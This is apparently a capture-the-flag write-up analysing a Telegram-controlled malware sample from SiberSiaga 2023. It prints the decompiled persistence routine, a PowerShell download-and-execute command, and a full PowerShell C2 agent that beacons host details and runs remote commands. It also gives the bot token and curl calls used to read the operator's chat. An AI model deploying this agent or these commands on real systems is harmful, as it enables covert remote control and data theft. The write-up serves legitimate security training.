SiberSiaga 2023: Malbot

We found an APT malware running persistently in one of our staff's PC. After compromising, the malware makes a lot of communication with a C2.

TL;DR

The malware is using Telegram bot as a C2 server. Abuse the forwardMessage API to hijack conversation between the bot and it's owner.

Initial Analysis

We were given 2 files: .EXE and .DLL. Decompiling the executable file does not yield any positive result as it just calls the exported function from the .DLL file, which displays a MessageBox.

 void possible_main(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)
 ​
 {
   printf("This binary has been created specifically for the SiberSiaga 2023 CTF.\n",param_2,param_3,
          param_4);
   printf("This is a malware. Please run in a safe environment.\n",param_2,param_3,param_4);
   printf("Proceed to run? Yes or no: ",param_2,param_3,param_4);
   hModule = LoadLibraryW(L"MSVCR100.dll");
   if (hModule != (HMODULE)0x0) {
     pFVar5 = GetProcAddress(hModule,"function_101009");
     FreeLibrary(hModule);
   }
   return;
 }

Decompiling the .DLL file reveals 2 exported function used by the executable.

The first function doesn't do much except for printing the SiberSiaga title using MessageBoxW API.

 void function_101009(void)
 ​
 {
   FUN_180001ed0((undefined (*) [16])local_38,L"Ugnamog\"vm\"Qk`gpQkcec\"0201");
   if (local_28 != 0) {
     do {
       pWVar1 = (LPCWSTR)((longlong)ppppuVar3 + uVar5 * 2);
       *pWVar1 = *pWVar1 ^ 2;
       uVar5 = uVar5 + 1;
     } while (uVar5 < local_28);
   }
   FUN_180001ed0((undefined (*) [16])&local_58,L"PjafqPjbdb#1310");
   if (local_48 != 0) {
     do {
       pWVar4 = (WCHAR *)CONCAT62(uStack_56,local_58);
       pWVar4[uVar6] = pWVar4[uVar6] ^ 3;
       uVar6 = uVar6 + 1;
     } while (uVar6 < local_48);
   }
   MessageBoxW((HWND)0x0,(LPCWSTR)ppppuVar3,pWVar4,0x40);
   function_101010();
   FUN_180002030(local_18 ^ (ulonglong)auStack_78);
   return;
 }

The other function reveals 2 major PowerShell blocks.

 void function_101010(void)
 ​
 {
   LVar2 = RegCreateKeyExW((HKEY)0xffffffff80000001,(LPCWSTR)ppppuVar3,0,(LPWSTR)0x0,0,0x20006,
                           (LPSECURITY_ATTRIBUTES)0x0,&local_268,(LPDWORD)0x0);
   if (LVar2 != 0) {
     FUN_1800011c0((undefined8 *)&local_100);
   }
 ​
   LVar2 = RegSetValueExW(local_268,(LPCWSTR)&local_e8,0,1,(BYTE *)puVar5,local_110 * 2);
   if (LVar2 != 0) {
     RegCloseKey(local_268);
   }
   RegCloseKey(local_268);
   FUN_180001ed0((undefined (*) [16])&local_140,
                 L"powershell IEX (New-Object Net.WebClient).DownloadString(\'https://gist.githubuser content.com/fareedfauzi/de74bb93f6f9fb98038dac71ea8977e4/raw/8040d8274d0c8d9cb28e80d c4cab1b49d79c86d5/sibersiaga-ctf.ps1\')"
                );
   LVar2 = RegCreateKeyExW((HKEY)0xffffffff80000001,pWVar9,0,(LPWSTR)0x0,0,0x20006,
                           (LPSECURITY_ATTRIBUTES)0x0,&local_260,(LPDWORD)0x0);
   LVar2 = RegSetValueExW(local_260,(LPCWSTR)&local_c0,0,1,(BYTE *)puVar5,local_130 * 2);
   RegCloseKey(local_260);
   FUN_180001ed0((undefined (*) [16])&local_1c0,L"WKBPSEVAXXGhewwawXX*wmfavwmece");
   if (local_1b0 != 0) {
     do {
       pWVar4[uVar6] = pWVar4[uVar6] ^ 4;
       uVar6 = uVar6 + 1;
     } while (uVar6 < local_1b0);
   }
   FUN_180001ed0((undefined (*) [16])&local_220,L"wmfavwmecebmha");
   if (local_210 != 0) {
     do {
       puVar5[uVar6] = puVar5[uVar6] ^ 4;
       uVar6 = uVar6 + 1;
     } while (uVar6 < local_210);
   }
   FUN_180001ed0((undefined (*) [16])&local_1e0,
                 L"VJCQRDW@YYFidvv`vYYvlg`wvldbdcli`YYvm`iiYYju`kYYfjhhdka");
   if (local_1d0 != 0) {
     do {
       pWVar4[uVar6] = pWVar4[uVar6] ^ 5;
       uVar6 = uVar6 + 1;
     } while (uVar6 < local_1d0);
   }
   FUN_180001ed0((undefined (*) [16])&local_160,
                 L"powershell.exe -enc WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6AD oAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdA BdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIAAnAFIAZQBnAGkAcwB0AH IAeQA6ADoASABLAEUAWQBfAEMATABBAFMAUwBFAFMAXwBSAE8ATwBUAFwAcwBpAGIAZQByAHMAaQBhAGcAYQ BmAGkAbABlAFwAcwBoAGUAbABsAFwAbwBwAGUAbgBcAGMAbwBtAG0AYQBuAGQAJwAgAC0ATgBhAG0AZQAgAC cAcwBpAGIAZQByAHMAaQBhAGcAYQAnACkALgAnAHMAaQBiAGUAcgBzAGkAYQBnAGEAJwApAHwAJQAgAC0AQg BlAGcAaQBuAHsAJABpAD0AMAB9ACAALQBQAHIAbwBjAGUAcwBzAHsAJABfACAAPQAgACQAXwAgAC0AYgB4AG 8AcgAgACQAaQAlADIANQA2ADsAJABpACsAKwA7ACQAXwB9ACkAKQAgAHwAIABpAGUAeAA="
                );
   return;
 }

Decoding PowerShell Scripts

The first PowerShell Script results in the following URL:

https://gist.githubusercontent.com/fareedfauzi/de74bb93f6f9fb98038dac71ea8977e4/raw/8040d8274d0c8d9cb28e80dc4cab1b49d79c86d5/sibersiaga-ctf.ps1/

 $batchScript = { whoami | Out-File -Append "$env:APPDATA\s.sibersiaga"; Start-Process "$env:APPDATA\s.sibersiaga"; Remove-Item "$env:APPDATA\s.sibersiaga"; Exit }; Get-ChildItem -Path "$env:SystemRoot\System32" -Filter "notepad.exe" -File | ForEach-Object { Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command & {$batchScript}" -Wait }

Decoding the base64 strings from the second Powershell command.

It appears that the malware is performing XOR on a base64 encoded string retrieved from the registry.

 [System.Text.Encoding]::UTF8.GetString(([System.Convert]::FromBase64String((gp 'Registry::HKEY_CLASSES_ROOT\sibersiagafile\shell\open\command' -Name 'sibersiaga').'sibersiaga')|% -Begin{$i=0} -Process{$_ = $_ -bxor $i%256;$i++;$_})) | iex

We do not have to manually decrypt it as we can get the entire code by just running it in Powershell ISE, but with the iex cmdlet removed.

 [System.Net.ServicePointManager]::SecurityProtocol=@("Tls12","Tls11","Tls","Ssl3")
 $token="6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78"
 $id=467115391
 $mid=(gp "HKCU:\Environment" -name Update).Update
 $guid = (gp "HKCU:\Environment" -name guid).guid
 $ip=irm "https://ifconfig.me/ip"
 ​
 if( -not (New-Object System.Threading.Mutex($false, $guid)).WaitOne(1)){
     exit
 }
 if($mid -and $guid){
     irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip reconnected!"
 }
 else {
     $guid = [guid]::NewGuid().guid
     Set-ItemProperty "HKCU:\Environment" -name "GUID" -value $guid
     irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip new connection!"
 }
 if($mid -isnot [int]){
     $mid = 0
 }
 while(1){
     Start-Sleep 60;
     (irm -Uri "https://api.telegram.org/bot$($token)/getUpdates").result|%{
         if ($mid -lt $_.update_id) {
             $mid=$_.update_id;
             $name,$task=$_.message.text -split " :: ";
             if ( ($name -like $ip) -or ($name -like $env:COMPUTERNAME) -or ($name -like $guid) -or ($name -like "all")) {
                 $message = $($task | iex)2>&1 | Out-String;
                 if ("" -eq $message){
                     $message="Task Done!"
                 }
                 $b=0;
                 while ($b -lt $message.Length) {
                     $c = 4000;
                     if (($c + $b) -gt $message.Length){$c=$message.Length % 4000}
                     irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip answer message : $($_.message.message_id)`n$($message.Substring($b,$c))"
                     $b+=$c
                 }
             }
         }
         Set-ItemProperty "HKCU:\Environment" -name "Update" -value $mid
     }
 }

The decoded script reveals several Telegram Bot APIs, as well as the bot token. Putting everything together provides us the following API methods:

 https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/getUpdates
 ​
 https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/sendMessage?chat_id=467115391&text=s.sibersiaga
 ​
 https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/getChat?chat_id=467115391

Exploring Exposed API Functions

getUpdates()

As described in the Telegram documentation, getUpdates is used to receive incoming updates using an identifier offset. Seeing this in action shows the message sent from DeezNutz to the Telegram Bot:

 ┌──(kali💀JesusCries)-[~]
 └─$ curl https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/getUpdates
 {"ok":true,"result":[{"update_id":539091034,
 "message":{"message_id":1302,"from":{"id":876720986,"is_bot":false,"first_name":"Deez","last_name":"Nutz","username":"lookatthesenutz","language_code":"en"},"chat":{"id":876720986,"first_name":"Deez","last_name":"Nutz","username":"lookatthesenutz","type":"private"},"date":1692545719,"text":"SiberSiaga"}}]}

Quoting the description for offset parameter from Telegram API docs:

Identifier of the first update to be returned. Must be greater by one than the highest among the identifiers of previously received updates. By default, updates starting with the earliest unconfirmed update are returned. An update is considered confirmed as soon as getUpdates is called with an offset higher than its update_id. The negative offset can be specified to retrieve updates starting from -offset update from the end of the updates queue. All previous updates will be forgotten.

Possible Exploit Idea: By providing a negative offset, we might be able to leak previous conversations between the bot and other users. However, this requires us to fuzz the update_id value in order to locate the conversation which contains the flag. As the current update_id is a relatively large number, this would require 539+ million brute-forcing requests, not to mention that the API is rate-limited.

sendMessage()

A simple API to send messages to users on behalf of the bot. This sends the text "sibersiaga" to user DeezNutz as the Telegram Bot.

 ┌──(kali💀JesusCries)-[~]
 └─$ curl https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/sendMessage?chat_id=876720986&text=sibersiaga
 {"ok":true,"result":{"message_id":1303,"from":{"id":6420681879,"is_bot":true,"first_name":"sibersiaga_ctf_bot","username":"sibersiaga_ctf_bot"},"chat":{"id":876720986,"first_name":"Deez","last_name":"Nutz","username":"lookatthesenutz","type":"private"},"date":1692546521,"text":"sibersiaga"}}

Possible Exploit Idea: Send a custom command such as /flag to an admin user to receive the flag? This would require us to have prior knowledge of the admin user's chat_id in the first place.

getChat()

Getting some basic information about the user, such as first_name and username:

 ┌──(kali💀JesusCries)-[~]
 └─$ curl https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/getChat?chat_id=467115391
 {"ok":true,"result":{"id":467115391,"first_name":"fauzi","username":"scvhost_exe","type":"private","active_usernames":["scvhost_exe"],"has_private_forwards":true}}

Possible Exploit Idea: Probably none.

Abusing forwardMessage API

Browsing through the available API calls on Telegram documentation, there's one interesting API forwardMessage that we can abuse to read old messages between the bot and another user.

https://core.telegram.org/bots/api#available-methods

This API requires 3 parameters, 2 of which are known to us: chat_id (Recipient - Us) and from_chat_id (Sender - Fareed).

After a bit of trial and error with the message_id parameter, we can get the flag on the 12th message_id:

 ┌──(kali💀JesusCries)-[~]
 └─$ curl https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/forwardMessage?chat_id=876720986&from_chat_id=467115391&message_id=12
 ​
 DESKTOP-GA02OJQ :: echo "sibersiaga{now_y0u_kn0w_how_telegram_C2_works!}" > flag.txt

Flag: sibersiaga{now_y0u_kn0w_how_telegram_C2_works!}

Last updated